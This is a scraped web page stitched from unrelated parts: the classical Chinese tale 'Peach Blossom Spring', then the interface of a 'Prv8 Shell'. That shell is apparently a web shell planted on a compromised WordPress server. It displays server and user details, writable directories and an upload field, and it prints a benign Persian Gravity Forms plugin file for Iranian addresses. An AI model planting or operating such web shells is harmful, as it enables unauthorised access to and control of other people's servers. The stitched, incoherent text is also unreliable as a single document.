晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/persian-gravity-forms/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/www/wp-content/plugins/persian-gravity-forms/includes/class-address.php
<?php if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class GFPersian_Adress extends GFPersian_Core {

	public function __construct() {

		if ( $this->option( 'address', '1' ) != '1' ) {
			return;
		}

		add_action( 'gform_editor_js', array( $this, 'iran_cities_editor_js' ) );
		add_action( 'gform_field_standard_settings', array( $this, 'iran_cities_option' ), 10, 2 );
		add_filter( 'gform_address_types', array( $this, 'iran_address_type' ) );
		add_filter( 'gform_predefined_choices', array( $this, 'iran_provinces_choices' ), 1 );
		add_filter( 'gform_field_content', array( $this, 'iran_cities_field_type' ), 10, 5 );
		add_action( 'gform_register_init_scripts', array( $this, 'init_script' ), 10, 1 );
		add_action( 'gform_enqueue_scripts', array( $this, 'external_js' ), 10, 2 );
	}

	public function iran_provinces() {
		return array(
			'آذربایجان شرقی',
			'آذربایجان غربی',
			'اردبیل',
			'اصفهان',
			'البرز',
			'ایلام',
			'بوشهر',
			'تهران',
			'چهارمحال و بختیاری',
			'خراسان جنوبی',
			'خراسان رضوی',
			'خراسان شمالی',
			'خوزستان',
			'زنجان',
			'سمنان',
			'سیستان و بلوچستان',
			'فارس',
			'قزوین',
			'قم',
			'کردستان',
			'کرمان',
			'کرمانشاه',
			'کهگیلویه و بویراحمد',
			'گلستان',
			'گیلان',
			'لرستان',
			'مازندران',
			'مرکزی',
			'هرمزگان',
			'همدان',
			'یزد'
		);
	}

	public function iran_address_type( $address_types ) {

		$address_types['iran'] = array(
			'label'       => 'ایران',
			'country'     => 'ایران',
			'zip_label'   => 'کدپستی',
			'state_label' => 'استان',
			'states'      => array_merge( array( '' ), $this->iran_provinces() )
		);

		return $address_types;
	}

	public function iran_provinces_choices( $choices ) {

		$states['استان های ایران'] = $this->iran_provinces();

		return $choices = array_merge( $states, $choices );
	}

	public function iran_cities_option( $position, $form_id ) {
		if ( $position == 25 ) { ?>
            <li class="iran_cities field_setting">
                <input type="checkbox" id="iran_cities"
                       onclick="SetFieldProperty('iran_cities', jQuery(this).is(':checked') ? 1 : 0);"/>
                <label class="inline gfield_value_label" for="iran_cities">فعالسازی شهرهای ایران</label>
            </li>
			<?php
		}
	}

	public function iran_cities_editor_js() { ?>

        <script type='text/javascript'>
            jQuery(document).ready(function ($) {
                fieldSettings["address"] += ", .iran_cities";
                $(document).bind("gform_load_field_settings", function (event, field, form) {
                    $("#iran_cities").attr("checked", field["iran_cities"] == true);
                    var $address_type = $('#field_address_type');
                    if (!$('#iran_cities_div').length) {
                        var $iran_cities = $(".iran_cities");
                        var $iran_cities_input = $iran_cities.html();
                        $iran_cities.remove();
                        $address_type.after('<div id="iran_cities_div"><br>' + $iran_cities_input + '</div>');
                    }
                    if ($address_type.val() === 'iran')
                        $('#iran_cities_div').show();
                    else
                        $('#iran_cities_div').hide();
                    $address_type.change(function () {
                        if ($(this).val() === 'iran')
                            $("#iran_cities_div").slideDown();
                        else
                            $("#iran_cities_div").slideUp();
                    });
                });
            });
        </script>

		<?php
	}

	public function iran_cities_field_type( $content, $field, $value, $entry_id, $form_id ) {

		if ( $this->is_iran_cities( $field ) ) {

			$id = absint( $field['id'] );

			preg_match( '/<input.*?(name=["\']input_' . $id . '.3["\'].*?)\/??>/i', $content, $match );

			if ( ! empty( $match[0] ) && ! empty( $match[1] ) ) {
				$city_input = trim( $match[1] );
				$city_input = str_ireplace( 'value=', 'data-selected=', $city_input );
				$content    = str_replace( $match[0], "<select {$city_input}><option value='' selected='selected'>&nbsp;&nbsp;</option></select>", $content );
			}
		}

		return $content;
	}

	public function external_js( $form, $ajax ) {

		$fields = GFCommon::get_fields_by_type( $form, array( 'address' ) );

		foreach ( (array) $fields as $field ) {

			if ( $this->is_iran_cities( $field ) ) {

				wp_dequeue_script( 'gform_iran_citeis' );
				wp_deregister_script( 'gform_iran_citeis' );

				wp_register_script( 'gform_iran_citeis', GF_PERSIAN_URL . 'assets/js/iran-cities-full.min.js', array(), GF_PERSIAN_VERSION, false );
				wp_enqueue_script( 'gform_iran_citeis' );

				add_action( 'gform_enqueue_scripts', array( $this, 'frontend_rtl' ), 999, 1 );

				break;
			}
		}
	}

	public function frontend_rtl( $form ) {

		if ( ! apply_filters( 'gform_iran_cities_fronend_rtl', is_rtl() && ! is_admin() ) ) {
			return;
		}
		?>
        <style type="text/css">
            <?php
			foreach ( $form['fields'] as &$field ) {
				if ( $this->is_iran_cities( $field ) ) {
				    $id = $form['id'] . '_' . $field['id'];
					echo '
					html[dir="rtl"] #input_' . $id . '_4_container{
						float: right !important;
						padding-right: 0 !important;
						padding-left: 16px !important;
					}
					html[dir="rtl"] #input_' . $id . '_3_container{
						float: left !important;
						padding-right: 0 !important;
						padding-left: 0 !important;
					}';
				}
			}
			?>
        </style>
		<?php
	}

	public function init_script( $form ) {

		foreach ( $form['fields'] as &$field ) {

			if ( $this->is_iran_cities( $field ) ) {

				$id = $form['id'] . '_' . $field['id'];

				$script = 'jQuery().ready(function($){' .
				          '$(".has_city #input_' . $id . '_3").html(gform_iranCities(""+$(".has_city #input_' . $id . '_4").val()));' .
				          'if ($(".has_city #input_' . $id . '_3").attr("data-selected")) {' .
				          '$(".has_city #input_' . $id . '_3").val($(".has_city #input_' . $id . '_3").attr("data-selected"));' .
				          '}' .
				          '$(document.body).on("change", ".has_city #input_' . $id . '_4" ,function(){' .
				          '$(".has_city #input_' . $id . '_3").html(gform_iranCities(""+$(".has_city #input_' . $id . '_4").val()));' .
				          '}).on("change", ".has_city #input_' . $id . '_3" ,function(){' .
				          '$(this).attr("data-selected", $(this).val());' .
				          '})' .
				          '})';
				GFFormDisplay::add_init_script( $form['id'], 'iran_address_city_' . $id, GFFormDisplay::ON_PAGE_RENDER, $script );
			}
		}
	}

	private function is_iran_cities( $field ) {
		return $field['type'] == 'address' && $field['addressType'] == 'iran' && rgar( $field, 'iran_cities' ) && ! is_admin();
	}

}

new GFPersian_Adress();

haha - 2025